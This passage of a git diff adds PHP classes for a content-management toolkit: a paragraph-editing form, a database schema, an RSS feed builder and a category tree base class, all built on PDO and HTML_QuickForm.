+
+            $stmt = $this->dbh->prepare($sql);
+            //  Get the member categories select list element
+            $e =& $this->getElement('parent');
+            foreach ($c as $i => $j) {
+                $stmt->execute(array($i));
+                $row = $stmt->fetch();
+                //  the class level is always 1 less than what is reported
+                //  from our $c array
+                $x = $j - 1;
+                //  Add the option data to the select list.
+                $e->addOption($row['category'], $i, array('class' => "level-$x"));
+            }
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+    //  {{{ insertPage()
+
+    /**
+     * Create a new page in the site by inserting values into the DB
+     * 
+     * @param array $values Submitted form values
+     *                           
+     * @return boolean Result of insertion
+     * @access protected
+     */
+    protected function insertPage($values)
+    {
+        //  Get the member categories if they exists so we don't try and
+        //  insert them into the wrong table.
+        $memberCats = $values['memberCat'];
+        unset($values['memberCat']);
+
+        //  Get the value of the new position this page will be set to.
+        $values['pos'] = $this->getNewParentPosition($values['parent']);
+
+        //  a non empty file size indicates to use an image has been uploaded.
+        if (!empty($values['image']['size'])) {
+            $values['image'] = $this->uploadImage('image');
+            if ($values['image'] === false) {
+                return PEAR::raiseError('Invalid image response');
+            }
+        } else {
+            unset($values['image']);
+        }
+
+        $sql = Toolkit_Common::createSQLInsert(
+            $this->tableName,
+            array_keys($values)
+        );
+
+        try {
+            $this->dbh->beginTransaction();
+            Toolkit_Common::processQuery(
+                $this->dbh,
+                $this->tableName,
+                $sql,
+                $values
+            );
+
+            //  If we are trying to associate member categories
+            //  with the toolbox page then insert them here.
+            if (is_array($memberCats) && !empty($memberCats)) {
+                //  Need to get the last id inserted into the table.
+                $sql = "
+                    SELECT id
+                      FROM {$this->tableName}
+                     ORDER BY id DESC
+                     LIMIT 1";
+                
+                $row = $this->dbh->query($sql)->fetch();
+                $sql = Toolkit_Common::createSQLInsert(
+                    'bus_cat_member',
+                    array('catid', 'memb_type')
+                );
+
+                $stmt = $this->dbh->prepare($sql);
+                $stmt->bindParam(':catid', $row['id'], PDO::PARAM_INT);
+                //  zip through all the member categories selected
+                //  and insert them into the table.
+                foreach ($memberCats as $i) {
+                    if (is_numeric($i)) {
+                        $stmt->bindParam(':memb_type', $i, PDO::PARAM_INT);
+                        $stmt->execute();
+                    }
+                }
+            }
+
+            return $this->dbh->commit();
+        } catch (PDOException $e) {
+            $this->dbh->rollback();
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+    //  {{{ processData()
+
+    /**
+     * Clean unneeded form elements out of the submitted values array
+     * 
+     * @param array $values QuickForm submitted elements
+     *                         
+     * @return boolean Result of insert/update functions
+     * @access public 
+     */
+    public function processData($values)
+    {
+               foreach ($values as $k => $v) {
+                       switch ($k) {
+                       case 'MAX_FILE_SIZE' : 
+                               unset($values[$k]);
+                               break;
+
+                       default :
+                               if (substr($k, -4) == '_rmv') {
+                                       unset($values[$k]);
+                               }
+                               break;
+                       }
+               }
+
+        $function = is_numeric($_GET['id']) ? 'updatePage' : 'insertPage';
+        return $this->$function($values);
+    }
+
+    //  }}}
+
+    //  {{{ removeImage()
+    //  @codeCoverageIgnoreStart
+
+    /**
+     * Deletes an image from the file server
+     * 
+     * @param string $fileName Name of the image to delete
+     *
+     * @return void     
+     * @access protected
+     */
+    protected function removeImage($fileName)
+    {
+        $is = new Toolkit_Image_Server();
+        $is->imageDelete($fileName);
+    }
+
+    //  @codeCoverageIgnoreEnd
+    //  }}}
+
+    //  {{{ setMaxDepth()
+
+    /**
+     * Sets the max depth level that the parent page select list will show
+     *
+     * @param integer $md New max depth
+     *                     
+     * @return void   
+     * @access public 
+     */
+    public function setMaxDepth($md)
+    {
+        $this->maxDepth = $md;
+    }
+
+    //  }}}
+       //      {{{     setupRenderers()
+
+    /**
+     * Custom rendering templates for special fields on the form
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+               parent::setupRenderers();
+               $renderer =& $this->defaultRenderer();
+               $required = '<!-- BEGIN required --><span class="req"> * </span><!-- END required -->';
+               $error    = '<!-- BEGIN error --><div class="form-warning-inside"> {error} </div><!-- END error -->';
+
+               $renderer->setElementTemplate("\n\t<tr align=\"center\">\n\t\t<td colspan=\"2\">$required{label}$error{element}</td>\n\t</tr>", 'submit_buttons');
+               $renderer->setElementTemplate("\n\t<tr align=\"center\">\n\t\t<td colspan=\"2\">$required{label}$error{element}</td>\n\t</tr>", 'insert_rmv');
+
+               $renderer->setGroupTemplate("\n\t<table id=\"templates\">\n\t\t<tbody>\n\t\t\t<tr>{content}</tr>\n\t\t</tbody>\n\t</table>", 'page_layout');
+               $renderer->setGroupElementTemplate("\n\t<td>\n\t\t<label>{label}<br>{element}</label>\n\t</td>", 'page_layout');
+       }
+
+       //      }}}
+
+       //      {{{     toHtml()
+
+    /**
+     * Handles how to display the current step the user is at in the form
+     * 
+     * @return string rendered html form
+     * @access public
+     */
+       public function toHtml()
+       {
+               $validated = $this->validate();
+               $this->setupRenderers();
+               if ($validated) {
+                       $this->cleanForm();
+
+            $r = $this->process(
+                array(&$this, 'processData'),
+                $this->mergeFiles
+            );
+            if (PEAR::isError($r)) {
+                return Toolkit_Common::handleError($r);
+            } else {
+                               $this->freeze();
+                               $output = $this->successMsg;
+                       }
+               } elseif ($this->isSubmitted()) {
+                       $output  = $this->errorMsg;
+                       $output .= parent::toHTML();
+               } else {
+                       $output = parent::toHTML();
+               }
+               return $output;
+       }
+
+       //      }}}
+
+    //  {{{ updatePage()
+
+    /**
+     * Update an existing page in the site by updating values in the DB
+     * 
+     * @param array $values Submitted form values
+     *                           
+     * @return boolean Result of insertion
+     * @access protected
+     */
+    protected function updatePage($values)
+    {
+        //  Make sure we are dealing w/ a valid page
+        if (!is_numeric($_GET['id'])) {
+            return PEAR::raiseError('Invalid page id');
+        }
+
+        //  Handle user deleting the page image.
+        if (array_key_exists('remove_image', $values)) {
+            $this->removeImage($values['imagename']);
+
+            //  unset value so its not included in the update sql query
+            unset($values['remove_image']);
+            //  set image and imagename to null to overwrite value in db.
+            //  if we are not uploading a new image.
+            if (empty($values['image']['size'])) {
+                $values['image'] = $values['imagename'] = null;
+            }
+        }
+
+        //  a non empty file size indicates to use an image has been uploaded.
+        if (!empty($values['image']['size'])) {
+            $values['image'] = $is->imageUpload('image');
+            if ($values['image'] === false) {
+                return PEAR::raiseError('Invalid image response');
+            }
+        } elseif (!is_null($values['image'])) {
+            unset($values['image']);
+        }
+
+        //  Get the parent id this page is currently set to in the DB.
+        $curPar = $this->getCurrentParent($_GET['id']);
+        //  parents will be different if we are reassining to a new parent
+        if ($curPar != $values['parent']) {
+            //  Get an updated position for the new parent page.
+            $values['pos'] = $this->getNewParentPosition($values['parent']);
+        }
+
+               try {
+            $sql = Toolkit_Common::createSQLUpdate(
+                $this->tableName,
+                array_keys($values),
+                array('id = :id')
+            );
+
+            $values['id'] = $_GET['id'];
+            return Toolkit_Common::processQuery(
+                $this->dbh,
+                $this->tableName,
+                $sql,
+                $values
+            );
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+    //  {{{ uploadImage()
+    //  @codeCoverageIgnoreStart
+
+    /**
+     * Uploads an image to the image server
+     * 
+     * @param string $key name of the file upload key to find the image in the
+     *                    $_FILES array
+     *
+     * @return mixed file name on success, false on error 
+     * @access protected
+     */
+    protected function uploadImage($key)
+    {
+        $is = new Toolkit_Image_Server();
+        return $is->imageUpload($key);
+    }
+
+    //  @codeCoverageIgnoreEnd
+    //  }}}
+}
+?>
diff --git a/Toolkit/Toolbox/Admin/EditParagraph.php b/Toolkit/Toolbox/Admin/EditParagraph.php
new file mode 100644 (file)
index 0000000..bc13898
--- /dev/null
@@ -0,0 +1,692 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category Forms
+ * @package  Toolkit_FormBuilder
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: EditParagraph.php,v 1.2 2009/12/15 20:18:16 jamie Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Short description for class
+ * 
+ * Long description (if any) ...
+ * 
+ * @category  CategoryName
+ * @package   Toolkit_Toolbox
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Toolbox_Admin_EditParagraph extends Toolkit_FormBuilder
+{
+    //  {{{ properties
+
+
+    /**
+     * Description for protected
+     * @var    string   
+     * @access protected
+     */
+    protected $tableName = 'bus';
+
+    //  }}}
+    //  {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param string $formName    Form's name.
+     * @param PDO    $pdo         PHP Data Object used for DB calls
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+        * 
+        * @access public
+        * @link http://pear.php.net/package/HTML_QuickForm/docs/latest/HTML_QuickForm/HTML_QuickForm.html
+        * @see HTML_QuickForm
+     * @todo Remove assigning the dbh the global dbh and setup a PDO
+     *       to be passed in from a parameter - this will allow for easier
+     *       PHPUnit testing
+        */
+       public function __construct(
+        $formName,
+        PDO $pdo,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+        $this->dbh = $pdo;
+               $this->flexyOptions                = $GLOBALS['flexyOptions'];
+               $this->flexyOptions['templateDir'] = TEMPLATES_DIR;
+               $this->flexyOptions['compileDir']  = COMPILED_DIR;
+    }
+
+    //  }}}
+
+    //  {{{ createTables()
+
+    /**
+     * Read file from parameter and use the PDO parameter to create process file
+     * 
+     * @param object $pdo  Database handler
+     * @param string $file full path of file to parse
+     *                      
+     * @return void  
+     * @access public
+     * @static
+     */
+    static public function createTables(PDO $pdo, $file)
+    {
+        $sql = file_get_contents($file);
+        $tok = strtok($sql, ';');
+        while ($tok !== false) {
+            $pdo->query($tok);
+            $tok = strtok(';');
+        }
+    }
+
+    //  }}}
+       //      {{{     configureDefaults()
+
+    /**
+     * Initializes default form values
+     * 
+     * @return void  
+     * @access public
+     */
+       public function configureDefaults()
+       {
+        if (is_numeric($_GET['id'])) {
+            try {
+                $sql = "
+                    SELECT *
+                      FROM {$this->tableName}
+                     WHERE id = :id";
+
+                $stmt = $this->dbh->prepare($sql);
+                $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+                $stmt->execute();
+                $d = $stmt->fetch();
+                $i = '<img src="%s">';
+
+                $d['current_image'] = sprintf($i, THUMB . $d['image']);
+
+            } catch (PDOException $e) {
+                return Toolkit_Common::handleError($e);
+            }
+        } else {
+            $d = array(
+                'template' => 1,
+            );
+        }
+               $this->setupDefaults($d);
+       }
+
+       //      }}}
+       //      {{{     configureElements()
+
+    /**
+     * Form element definitions
+     * 
+     * @return void  
+     * @access public
+     */
+       public function configureElements()
+       {
+        $e = array();
+               //      Grouped Elements are defined here.
+        $submitBtns = array();
+
+        $submitBtns[] = array(
+            'type'    => 'submit',
+            'req'     => false,
+            'name'    => 'update_rmv',
+            'display' => 'Update'
+        );
+        $submitBtns[] = array(
+            'type'    => 'submit',
+            'req'     => false,
+            'name'    => 'cancel_rmv',
+            'display' => 'Cancel'
+        );
+        $submitBtns[] = array(
+            'type'    => 'submit',
+            'req'     => false,
+            'name'    => 'delete_rmv',
+            'display' => 'Delete'
+        );
+
+               //      All Elements are created here.
+        //  This includes group element definitions.
+               $e[] = array(
+            'type'    => 'header',
+            'req'     => false,
+            'name'    => 'paragraphAttributesHdr',
+            'display' => 'Paragraph Attributes'
+        );
+               $e[] = array(
+            'type'    => 'select',
+            'req'     => false,
+            'name'    => 'page',
+            'display' => 'Page',
+            'opts'    => array(),
+        );
+               $e[] = array(
+            'type'    => 'text',
+            'req'     => false,
+            'name'    => 'intro',
+            'display' => 'Paragraph Title'
+        );
+               $e[] = array(
+            'type'    => 'textarea',
+            'req'     => false,
+            'name'    => 'description',
+            'display' => 'Description',
+            'opts'    => array(
+                'cols' => 70,
+                'rows' => 25
+            ),
+        );
+        if ($this->hasUploadedImage()) {
+            $e[] = array(
+                'type'    => 'static',
+                'req'     => false,
+                'name'    => 'current_image',
+                'display' => 'Current Image'
+            );
+            $e[] = array(
+                'type'    => 'text',
+                'req'     => false,
+                'name'    => 'imagename',
+                'display' => 'Image Caption'
+            );
+            $e[] = array(
+                'type'    => 'checkbox',
+                'req'     => false,
+                'name'    => 'remove_image',
+                'display' => 'Delete Image'
+            );
+        }
+               $e[] = array(
+            'type'    => 'file',
+            'req'     => false,
+            'name'    => 'image',
+            'display' => 'New Image'
+        );
+
+        //  If we are editing a page, show three submit buttons
+        //  otherwise, just show one insert button.
+        if (is_numeric($_GET['id'])) {
+            $e[] = array(
+                'type'       => 'group',
+                'req'        => false,
+                'name'       => 'submit_buttons',
+                'group'             => $submitBtns,
+                'label'      => '',
+                'seperator'  => '',
+                'appendName' => false,
+            );
+        } else {
+            $e[] = array(
+                'type'    => 'submit',
+                'req'     => false,
+                'name'    => 'insert_rmv',
+                'display' => 'Insert'
+            );
+        }
+
+               $this->setupElements($e);
+        //  Do the same for the pages
+        $this->loadParagraphPages();
+       }
+
+       //      }}}
+       //      {{{     configureFilters()
+
+    /**
+     * Form filter definitions
+     * 
+        * Applies a data filter for the given fields when the form is submitted
+     * 
+     * @return void  
+     * @access public
+     */
+       public function configureFilters()
+       {
+        $f = array();
+
+               $f[] = array(
+            'element' => '__ALL__',
+            'filter'  => 'trim'
+        );
+
+        $this->setupFilters($f);
+       }
+
+       //      }}}
+    //  {{{ configureForm()
+
+    /**
+     * Bundle all form configuration calls into one function call
+     * 
+     * @return void  
+     * @access public
+     */
+    public function configureForm()
+    {
+               $this->configureElements();
+               $this->configureRules();
+               $this->configureFilters();
+               $this->configureDefaults();
+    }
+
+    //  }}}
+       //      {{{     configureRules()
+
+    /**
+     * Form rule definitions
+     * 
+        * Adds validation rules for the given fields
+     * 
+     * @return void  
+     * @access public
+     */
+       public function configureRules()
+       {
+        $r = array();
+               //      Form Rules
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+    //  {{{ getTableName()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return string Return description (if any) ...
+     * @access public
+     */
+    public function getTableName()
+    {
+        return $this->tableName;
+    }
+
+    //  }}}
+
+    //  {{{ hasUploadedImage()
+
+    /**
+     * Check to see if page we are editing has an uploaded image
+     * 
+     * @return boolean   If page has a previously uploaded image
+     * @access protected
+     */
+    protected function hasUploadedImage()
+    {
+        if (!is_numeric($_GET['id'])) {
+            return false;
+        }
+        try {
+            $sql = "
+                SELECT *
+                  FROM {$this->tableName}
+                 WHERE id = :id";
+
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(':id', $_GET['id'], PDO::PARAM_INT);
+            $stmt->execute();
+            $stmt->bindColumn('image', $image);
+            $row = $stmt->fetch();
+            return !is_null($image);
+            //return !(is_null($image) || empty($image));
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+    //  {{{ loadParagraphPages()
+
+    /**
+     * Load option elements into the parent select list
+     * 
+     * These options are loaded via this seperate function vs inline w/ the
+     * element definition b/c we need a little more control defining
+     * the class names for each option so they will render nice when a user
+     * is looking at the list.
+     * 
+     * @return void        
+     * @throws PDOException throws exception on sql error
+     * @access public      
+     */
+    public function loadParagraphPages()
+    {
+        try {
+            //  Get a tree list of categories in linear order with
+            //  category keys in the values and their level in the tree
+            //  in the value
+               $c = Toolkit_Common::getHierarchicalTreeStructure(
+                $this->dbh,
+                'bus_category',
+                'id',
+                'parent',
+                'pos',
+                1,
+                $this->maxDepth
+            );
+
+            //  Get all the data about each category
+            $sql = "
+                SELECT *
+                  FROM bus_category
+                 WHERE id = ?";
+
+            $stmt = $this->dbh->prepare($sql);
+            //  Get the member categories select list element
+            $e =& $this->getElement('page');
+            foreach ($c as $i => $j) {
+                $stmt->execute(array($i));
+                $row = $stmt->fetch();
+                //  the class level is always 1 less than what is reported
+                //  from our $c array
+                $x = $j - 1;
+                //  Add the option data to the select list.
+                $e->addOption($row['category'], $i, array('class' => "level-$x"));
+            }
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+    //  {{{ insertPage()
+
+    /**
+     * Create a new page in the site by inserting values into the DB
+     * 
+     * @param array $values Submitted form values
+     *                           
+     * @return boolean Result of insertion
+     * @access protected
+     */
+    protected function insertPage($values)
+    {
+        //  Get the member categories if they exists so we don't try and
+        //  insert them into the wrong table.
+        $memberCats = $values['memberCat'];
+        unset($values['memberCat']);
+
+        //  Get the value of the new position this page will be set to.
+        $values['pos'] = $this->getNewParentPosition($values['parent']);
+
+        //  a non empty file size indicates to use an image has been uploaded.
+        if (!empty($values['image']['size'])) {
+            $values['image'] = $this->uploadImage('image');
+            if ($values['image'] === false) {
+                return PEAR::raiseError('Invalid image response');
+            }
+        } else {
+            unset($values['image']);
+        }
+
+        $sql = Toolkit_Common::createSQLInsert(
+            $this->tableName,
+            array_keys($values)
+        );
+
+        try {
+            $this->dbh->beginTransaction();
+            Toolkit_Common::processQuery(
+                $this->dbh,
+                $this->tableName,
+                $sql,
+                $values
+            );
+
+            //  If we are trying to associate member categories
+            //  with the toolbox page then insert them here.
+            if (is_array($memberCats) && !empty($memberCats)) {
+                //  Need to get the last id inserted into the table.
+                $sql = "
+                    SELECT id
+                      FROM {$this->tableName}
+                     ORDER BY id DESC
+                     LIMIT 1";
+                
+                $row = $this->dbh->query($sql)->fetch();
+                $sql = Toolkit_Common::createSQLInsert(
+                    'bus_cat_member',
+                    array('catid', 'memb_type')
+                );
+
+                $stmt = $this->dbh->prepare($sql);
+                $stmt->bindParam(':catid', $row['id'], PDO::PARAM_INT);
+                //  zip through all the member categories selected
+                //  and insert them into the table.
+                foreach ($memberCats as $i) {
+                    if (is_numeric($i)) {
+                        $stmt->bindParam(':memb_type', $i, PDO::PARAM_INT);
+                        $stmt->execute();
+                    }
+                }
+            }
+
+            return $this->dbh->commit();
+        } catch (PDOException $e) {
+            $this->dbh->rollback();
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+    //  {{{ processData()
+
+    /**
+     * Clean unneeded form elements out of the submitted values array
+     * 
+     * @param array $values QuickForm submitted elements
+     *                         
+     * @return boolean Result of insert/update functions
+     * @access public 
+     */
+    public function processData($values)
+    {
+               foreach ($values as $k => $v) {
+                       switch ($k) {
+                       case 'MAX_FILE_SIZE' : 
+                               unset($values[$k]);
+                               break;
+
+                       default :
+                               if (substr($k, -4) == '_rmv') {
+                                       unset($values[$k]);
+                               }
+                               break;
+                       }
+               }
+
+        $function = is_numeric($_GET['id']) ? 'updatePage' : 'insertPage';
+        return $this->$function($values);
+    }
+
+    //  }}}
+    //  {{{ removeImage()
+    //  @codeCoverageIgnoreStart
+
+    /**
+     * Deletes an image from the file server
+     * 
+     * @param string $fileName Name of the image to delete
+     *                             
+     * @return void     
+     * @access protected
+     */
+    protected function removeImage($fileName)
+    {
+        $is = new Toolkit_Image_Server();
+        $is->imageDelete($fileName);
+    }
+
+    //  @codeCoverageIgnoreEnd
+    //  }}}
+
+    //  {{{ setMaxDepth()
+
+    /**
+     * Sets the max depth level that the parent page select list will show
+     *
+     * @param integer $md New max depth
+     *                     
+     * @return void   
+     * @access public 
+     */
+    public function setMaxDepth($md)
+    {
+        $this->maxDepth = $md;
+    }
+
+    //  }}}
+       //      {{{     setupRenderers()
+
+    /**
+     * Custom rendering templates for special fields on the form
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+               parent::setupRenderers();
+               $renderer =& $this->defaultRenderer();
+               $required = '<!-- BEGIN required --><span class="req"> * </span><!-- END required -->';
+               $error    = '<!-- BEGIN error --><div class="form-warning-inside"> {error} </div><!-- END error -->';
+
+               $renderer->setElementTemplate("\n\t<tr align=\"center\">\n\t\t<td colspan=\"2\">$required{label}$error{element}</td>\n\t</tr>", 'submit_buttons');
+               $renderer->setElementTemplate("\n\t<tr align=\"center\">\n\t\t<td colspan=\"2\">$required{label}$error{element}</td>\n\t</tr>", 'insert_rmv');
+
+               $renderer->setGroupTemplate("\n\t<table id=\"templates\">\n\t\t<tbody>\n\t\t\t<tr>{content}</tr>\n\t\t</tbody>\n\t</table>", 'page_layout');
+               $renderer->setGroupElementTemplate("\n\t<td>\n\t\t<label>{label}<br>{element}</label>\n\t</td>", 'page_layout');
+       }
+
+       //      }}}
+
+    //  {{{ updatePage()
+
+    /**
+     * Update an existing page in the site by updating values in the DB
+     * 
+     * @param array $values Submitted form values
+     *                           
+     * @return boolean Result of insertion
+     * @access protected
+     */
+    protected function updatePage($values)
+    {
+        //  Make sure we are dealing w/ a valid page
+        if (!is_numeric($_GET['id'])) {
+            return PEAR::raiseError('Invalid page id');
+        }
+
+        //  Handle user deleting the page image.
+        if (array_key_exists('remove_image', $values)) {
+            $this->removeImage($values['imagename']);
+
+            //  unset value so its not included in the update sql query
+            unset($values['remove_image']);
+            //  set image and imagename to null to overwrite value in db.
+            //  if we are not uploading a new image.
+            if (empty($values['image']['size'])) {
+                $values['image'] = $values['imagename'] = null;
+            }
+        }
+
+        //  a non empty file size indicates to use an image has been uploaded.
+        if (!empty($values['image']['size'])) {
+            $values['image'] = $is->imageUpload('image');
+            if ($values['image'] === false) {
+                return PEAR::raiseError('Invalid image response');
+            }
+        } elseif (!is_null($values['image'])) {
+            unset($values['image']);
+        }
+
+        //  Get the parent id this page is currently set to in the DB.
+        $curPar = $this->getCurrentParent($_GET['id']);
+        //  parents will be different if we are reassining to a new parent
+        if ($curPar != $values['parent']) {
+            //  Get an updated position for the new parent page.
+            $values['pos'] = $this->getNewParentPosition($values['parent']);
+        }
+
+               try {
+            $sql = Toolkit_Common::createSQLUpdate(
+                $this->tableName,
+                array_keys($values),
+                array('id = :id')
+            );
+
+            $values['id'] = $_GET['id'];
+            return Toolkit_Common::processQuery(
+                $this->dbh,
+                $this->tableName,
+                $sql,
+                $values
+            );
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+    //  {{{ uploadImage()
+    //  @codeCoverageIgnoreStart
+
+    /**
+     * Uploads an image to the image server
+     * 
+     * @param string $key name of the file upload key to find the image in the
+     *                    $_FILES array
+     *                        
+     * @return mixed file name on success, false on error 
+     * @access protected
+     */
+    protected function uploadImage($key)
+    {
+        $is = new Toolkit_Image_Server();
+        return $is->imageUpload($key);
+    }
+
+    //  @codeCoverageIgnoreEnd
+    //  }}}
+}
+?>
diff --git a/Toolkit/Toolbox/Admin/toolbox.sql b/Toolkit/Toolbox/Admin/toolbox.sql
new file mode 100644 (file)
index 0000000..5fc4cdb
--- /dev/null
@@ -0,0 +1,33 @@
+CREATE TABLE bus_category (
+id              SERIAL PRIMARY KEY,
+parent          INTEGER,
+category        TEXT,
+intro           TEXT,
+description     TEXT,
+image           TEXT,
+imagename       TEXT,
+active          BOOLEAN DEFAULT FALSE,
+pos             INTEGER,
+keyword         TEXT,
+template        INTEGER,
+featured        BOOLEAN DEFAULT FALSE,
+no_search_form  BOOLEAN DEFAULT FALSE,
+feature_intro   TEXT,
+section_links   BOOLEAN DEFAULT FALSE
+);
+
+CREATE TABLE bus (
+id              SERIAL PRIMARY KEY,
+name            TEXT,
+description     TEXT,
+image           TEXT,
+imagename       TEXT,
+back_to_top     BOOLEAN DEFAULT FALSE
+);
+
+CREATE TABLE bus_category_bus (
+id              SERIAL PRIMARY KEY,
+busid           INTEGER,
+catid           INTEGER,
+pos             INTEGER
+);
diff --git a/Toolkit/Toolbox/Rss.php b/Toolkit/Toolbox/Rss.php
new file mode 100644 (file)
index 0000000..3ff8979
--- /dev/null
@@ -0,0 +1,123 @@
+<?php
+
+/**
+ * Rss.php
+ * 
+ * PHP version 5
+ * 
+ * @category  Toolkit
+ * @package   Toolbox
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: Rss.php,v 1.1 2009/09/23 15:53:30 matrix Exp $
+ * @link      <>
+ */
+
+/**
+ * Create Rss Feed from Toolbox data
+ * 
+ * @category  Toolkit
+ * @package   Toolbox
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   Release: @package_version@
+ * @link      <>
+ */
+class Toolkit_Toolbox_Rss
+{
+    // {{{ Class Properties
+    /**
+     * PDO Reference
+     * @var    object
+     * @access public
+     */
+    public $dbh;
+    // }}}
+    // {{{ __construct()
+    /**
+     * Constructer
+     * 
+     * @param unknown &$pdo Reference to PDO object
+     * 
+     * @return void   
+     * @access public 
+     */
+    function __construct(PDO &$pdo)
+    {
+        $this->dbh =& $pdo;
+    }
+    // }}}
+    // {{{ getRssFeed()
+    /**
+     * Creates Rss feed for use in any feed reader.
+     * 
+     * Pulls data from the paragraphs of any catid passed in
+     * 
+     * @param unknown $pageId the id of the category to pull paragraphs from
+     * 
+     * @return void   
+     * @access public 
+     */
+    function getRssFeed($pageId)
+    {
+        $options = array(
+            "typehints"      => false,
+            "addDecl"        => true,
+            "encoding"       => "UTF-8",
+            "rootName"       => "rss",
+            "rootAttributes" => array('version' => '2.0'),
+            "defaultTagName" => "item",
+            "mode"           => "simplexml",
+        );
+        $sql = "
+        SELECT b.id, b.name, b.description, 
+               to_char(b.publish_date, 'Dy, DD Mon YYYY HH:MM:SS GMT') 
+               as publish_date
+          FROM bus b LEFT OUTER JOIN bus_category_bus bcb ON (b.id = bcb.busid)
+         WHERE bcb.catid = :catid
+      ORDER BY bcb.pos";
+        try {
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(":catid", $pageId, PDO::PARAM_INT);
+            $stmt->execute();
+            $newsData = $stmt->fetchAll(PDO::FETCH_ASSOC);
+            if (is_array($newsData)) {
+                foreach ($newsData as $row) {
+                    if ($row['title']) {
+                        $title = $row['title'];
+                    } elseif ($row['header']) {
+                        $title = $row['header'];
+                    } else {
+                        $title = $row['pr_date'];
+                    }
+                    $title = $row['name'];
+                    $stories[] = array(
+                        'title'       => strip_tags($title),
+                        'link'        => BASE_URL 
+                            .  'index.php?catid=8&newsid='.$row["id"],
+                        'pubDate'     => $row['publish_date'],
+                        'description' => $row['description']
+                    );
+                }
+            }
+            $data['channel'] = array(
+                'title' => 'Gaslight Media Testimonials',
+                'link'  => BASE_URL,
+                $stories
+            );
+            $serializer = new XML_Serializer($options);
+            if ($serializer->serialize($data)) {
+                header('Content-type: text/xml');
+                $out = $serializer->getSerializedData();
+                echo $out;
+            }
+        } catch(PDOException $e) {
+            echo '<pre>'.print_r($e, true).'</pre>';
+            die($e->getMessage);
+        }
+    }
+    // }}}
+}
+?>
diff --git a/Toolkit/Tree.php b/Toolkit/Tree.php
new file mode 100644 (file)
index 0000000..2fda674
--- /dev/null
@@ -0,0 +1,145 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * DB tree structures
+ *
+ * PHP version 5
+ *
+ * @category Toolkit
+ * @package  Toolkit_Tree
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @release     CVS: $Id: Tree.php,v 1.1.1.1 2009/09/17 20:08:55 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Create tree structures of database entries
+ *
+ * Base class used to setup tree objects that will render
+ * database structures into iterable PHP objects.
+ *
+ * @category  Toolkit
+ * @package      Toolkit_Tree
+ * @author       Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link         http://demo.gaslightmedia.com
+ */
+abstract class Toolkit_Tree
+{
+       //      {{{ properties
+
+       /**
+        * Database ID of tuple
+        *
+        * @var int
+        * @access public
+        */
+       public $catid = 0;
+
+       /**
+        * Name of object
+        *
+        * @var string
+        * @access public
+        */
+       public $category;
+
+       /**
+        * Children of object
+        *
+        * @var array
+        * @access public
+        */
+    public $children = array();
+
+       /**
+        * Parent of this category
+        *
+        * @var array
+        * @access public
+        */
+    public $parentId;
+
+       /**
+        * Database connection handle
+        *
+        * @var PDO Object
+        * @access protected
+        */
+       protected $dbh;
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Setup the objects properties and call to setup children
+        *
+        * @param integer $catid    ID of the Database object
+        * @param string  $name     Name of the Database object
+        * @param PDO     $dbh      Database handler object
+        * @param integer $parentId Id of parent node
+        *
+        * @author      Jamie Kahgee <jamie.kahgee@gmail.com>
+        * @access      public
+        */
+    public function __construct($catid, $name, PDO $dbh, $parentId = 0)
+    {
+               $this->parentId = $parentId;
+        $this->catid    = $catid;
+        $this->category = $name;
+               $this->dbh      = $dbh;
+        $this->addChildren();
+    }
+
+       //      }}}
+       //      {{{ __get()
+
+    /**
+     * utilized for reading data from inaccessible members
+     * 
+     * @param string $name property name
+     *                      
+     * @return mixed  void
+     * @access public
+     */
+       public function __get($name)
